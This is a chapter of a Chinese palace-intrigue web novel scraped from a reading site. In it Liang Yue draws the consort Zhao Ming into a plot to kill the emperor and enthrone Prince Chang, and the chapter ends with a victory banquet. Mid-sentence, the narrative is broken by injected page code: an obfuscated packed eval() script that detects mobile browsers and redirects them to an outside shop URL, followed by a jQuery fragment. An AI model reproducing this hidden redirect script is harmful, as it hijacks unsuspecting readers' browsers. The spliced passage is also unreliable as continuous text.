默认冷灰
24号文字
方正启体

47. 如春草

作者:1李金鱼1本书字数:K更新时间:
    张仁抵死不认,被投入大牢,而崔德清毫无疑问地升官。


    升到了监察御史。


    文武百官人人惶然,生怕他揪出自己什么毛病。


    这都是季如风转述给梁月的话。


    梁月知道,崔德清只是暂时风光,李承泽不好对张仁下手,但捏死崔德清简直不费半毛钱力气。


    也因此,这些日子里周昉和程意按计划守在他身边,防止他因为各种“意外”死于非命。


    比起崔德清,梁月更关注还在宫中的张若梅。


    按理说,张家该被满门抄斩,株连九族,但圣意难测,张仁又不愿意松口。


    陛下是靠张仁扶持着起家,此时对张仁到底有几分旧情?到底是该从重?还是应该从轻?


    负责此事的官员简直愁白了头发,最后呈上了一封奏折。


    抄家、男子充军,女子发卖。


    李承泽看了良久才点头,阮克经只觉得两股战战,这一次就折了他十年的寿命。


    已经嫁入宫中的张若梅得以幸免于难,但梁月知道,她心里必然不好受,张家如今的惨状张若梅不可能视若无睹:


    在外游学的张如竹尚不知是死是活;抄家时,常格已经断了气;被发卖的女眷里,有她的姐妹、婶娘……阖家落难,只她一人独善其身。


    梁月微微叹了口气,如今离正月十六也才过去两日,她急着想见张若梅,却迟迟等不到她的消息。


    该冒一次险。


    她想。


    如果张若梅真出了事情,她会痛苦一辈子。


    梁月放下茶杯,站起身。


    “我进宫一趟。”


    季如风实打实地愣了一下:


    “现在?”


    “现在。”


    梁月已经走到门口,推开了门。夜风吹进来,凉凉的。


    “你就这么去?”季如风追上来,他知道梁月想要去见谁,“宫门都下钥了——”


    “我有办法。”


    梁月回头,难得冲他笑了一下。


    季如风知道自己拦不住她,只甩了一下拳头,“唉!”


    ……


    承露殿。


    灯火通明。


    梁月轻功没那么好,这次是摇醒了本在补觉的程意送她进来。


    她站在殿外,看着那一片亮堂堂的光,忽然有点恍惚。


    原以为自己会看到一个憔悴的、消瘦的、以泪洗面的张若梅。以为自己会看到满地的碎瓷、满桌的冷饭、满屋子的死寂。


    都没有。


    张若梅只是坐在窗边,对着镜子梳头。


    一下,一下,又一下。


    梁月站在门口,一时竟不知道说什么。


    “来了?”


    张若梅从镜子里看见她,没有回头,只是轻轻笑了一声。


    “我猜你也该来了。”


    梁月走进去,在她身后站定。


    “你……”


    “上次你与我说,要告诉我一个秘密,现在可以说了吗?”张若梅放下木梳,转过身来。她的眼睛红红的,明显是哭过,可脸上却是笑着的。


    梁月定定地看着她。


    “嗯。”


    “我要告诉你,我们决定替你杀了皇帝,扶昌王上位,所以不要去死,张家的事情还有转机。”


    张若梅手中的木梳“啪嗒”掉在地上。


    既然承诺了张若梅,梁月就不得不再去给李承泽添上一把火。


    她来到宁清殿。


    这里住着的人是赵姳。


    赵姳流产后一直被禁足,每日抄写经文……这都是张若梅告诉她的。


    但事实显然不是这样。


    眼前的赵姳正坐在窗边,手里捧着一盏茶,脸被炭火烘得微微泛红,气色比上次见时还要好上几分。


    “叶姑娘?”


    赵姳看见她,眼睛亮了一亮,放下茶盏站起身,“你怎么来了?”


    梁月没动。


    赵姳见她没反应也不恼,主动牵着她的手在矮凳上坐下,还挥挥手,让人端上热茶点心。


    “这里没你们的事了,下去吧。”


    “是。”


    梁月依旧没动。


    赵姳亲热的样子也淡了些,


    “叶姑娘半夜来寻,就只是为了给我甩冷脸么?”


    “你在信里说会报答我,为什么?”梁月看着她的眼睛,“你说与我母亲有交集,却又不敢告诉我到底有什么往事。”


    “我为这件事来找你。”


    赵姳脸上重新溢出了笑容,


    “只是这件事呀!”


    “这事在信里有些不好意思说……,只是我从前遇人不淑,清光她帮了我一把。”


    “只是这样?”梁月怀疑,如果只是这样,赵姳大可不必感念这么多年,现在还要对她的后代有求必应。


    “这怎么能叫‘只是’呢?”


    赵姳掩唇,“多亏了清光救我于歧途,我才能在后来遇上陛下呀!”


    她声音甜腻,梁月听得耳朵痒,“你如此喜欢陛下?”


    “当然,”赵姳点头,笑眼弯弯,“若不是他,我依旧还是赵家那个不起眼、任人欺侮的庶女,又有谁会尊称我一声‘娘娘’呢?”


    梁月也点头,所以她只是爱权。


    这就很好办了。


    她眨眨眼睛,“那你……想不想做皇后?”


    “从她主动和陈念茵起冲突,就可以看出来赵姳是个野心勃勃的人。”在读那封信时,陈送青就曾经说过赵姳这张牌有需要的时候可以用,被刘朱丝否决了。


    梁月没那么相信昌王。在她看来,李承胤仁善有余,不够果决,拖得越久,变数越大。


    说不定哪天,他又会念起亲弟弟的好,转头把他们给卖了。


    在杀李承泽这件事上,她更看好赵姳。


    ……


    张仁彻底倒台后,陈家又乱了起来。陈宏大病一场,精力难济,赵代玉难以服众,陈景胜押宝的张仁大势已去。


    陈送青又足足拖了三天。


    正月二十一,他总算出现在了陈家人的视野中,只轻飘飘说一句“既往不咎、下不为例”,陈家众人就感激涕零,甚至忘了他们最近并没有做什么对不起陈送青的事情。


    “噗……”梁月忍不住笑,“这就是他们之前对你太坏!现在他们心虚了!”


    陈送青喜欢看她心疼自己。


    她心里装着的人太多,仿佛只有这时才满心满眼都是自己。


    他手上用了些力气,让她在自己怀里靠得更紧密,两人的体温隔着衣衫浸染在一起。


    “……”


    衣料摩挲的沙沙声让梁月红了脸颊。


    一想到这是在陈送青的房间里,她就更加脸热,连忙转移话题道,“那个……赵姳的事,你会不会也觉得我太莽撞?”


    她只给赵姳说昌王有意取而代之,至于赵姳怎么想、如何做,梁月都没有过问。


    为了保证她不会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376692|200100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    轻易泄露情报,梁月还是威胁她吃下了一枚药丸,“如果告密会穿肠烂肚的那种。”


    陈送青原本在听着,不禁疑惑道,


    “你哪来的这种毒——”


    他话音未落,嘴里就被梁月塞了什么东西。


    “甜吗?”


    陈送青点头。


    “她吃的可没你这么好,只是普普通通的土丸子罢了。”梁月得意晃晃手里的药葫芦,“世道如此,当坏蛋总得有点自我修养,下下药,投投毒,都是家常便饭啦!”


    陈送青咽下口中的桂花糖,左手抬起她的下巴,吻了下去。


    他进步得很快,梁月跟不上他的节奏,被亲得手脚发软,气喘吁吁时,他又开始坏心眼地说正经事。


    “我没觉得你鲁莽,我相信你看人的眼光。”


    事实证明,梁月的眼光没错。


    张仁在狱中关了半个月,等来的是皇帝驾崩,昌王登基,要将他斩首示众的消息。


    陈送青讶然,他原本预计昌王至少要隔上一两个月再动手,却不知赵姳使了什么手段,竟真的改名换姓,在昌王登基时成了他的王妃——或者说,皇后。


    新帝在皇后的选择上让众臣颇有微词,但在其他地方都挑不出差错。


    和先帝不同,新帝不长于制衡,却仁慈宽厚,善于纳谏,是个合格的守成之君。


    李承胤登基后不久,就赦免了张家还活着的人的罪,只说“莫要因旧事再生仇恨。”


    除了赵姳之外的太妃们,都被安排到了安国寺,诵经祈福,盼国泰民安,盛世长存。


    宣北侯的爵位被重新交还陈送青手中,这次不同于十三年前,陈家上下再无人置喙。


    温麟和姚农山已经踏上了回家的路,临走前成五叶精心配了药,不说能治好,至少可以让姚农山少些苦痛。


    然后就是崔德清。


    对于原本大半支持张仁,世家权势盘根错节的朝堂来说,一个寒门出身的左相还是太超前了。


    但,一个寒门出身的监察御史刚刚好。


    俗话说,光脚的不怕穿鞋的,作为朝堂上为数不多的“光脚”代表,崔德清俨然成了变革的旗帜。


    尚如春草嫩芽般的势头,终有一日会随风吹满大地。


    四月。


    七重塔里开了一个小型的庆功宴。


    庆祝张仁倒台、大仇得报。


    庆祝找到张如竹、让兄妹得以再见。


    庆祝青山在,人未老,明年春来,新友故交还能再相邀。


    在这场庆功宴后,七重塔的众人也要商议新的去处:程意还没喝腻京城的好酒,林鹤自然留在她身边;柴友和成五叶想试试凭手艺能不能在京城立足;周昉从来无所谓去哪。


    梁月则是打算回一趟通州城:“我和春生一起回去。”


    竟只剩下刘朱丝茫然不知所归。


    她本就是为了复仇而活,此刻大仇得报,油然而生一股空虚之感。


    程意拍她肩膀,说要带她去吃遍好酒好肉,梁月也劝她留在京城玩一玩。


    刘朱丝知道她们说的是对的,自己现在没有目标,回到通州也只能徒念旧事,因此也留在了京城。


    两个月后,刘朱丝收到了一封信。


    是梁月寄来的,信的内容很简单:


    朱丝姐!我们在江南找到了刘花姨!


    随信寄过来的是那条缠着金线的红绳,十多年的风霜也没让它褪色,依旧如她记忆中一样熠熠闪光。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)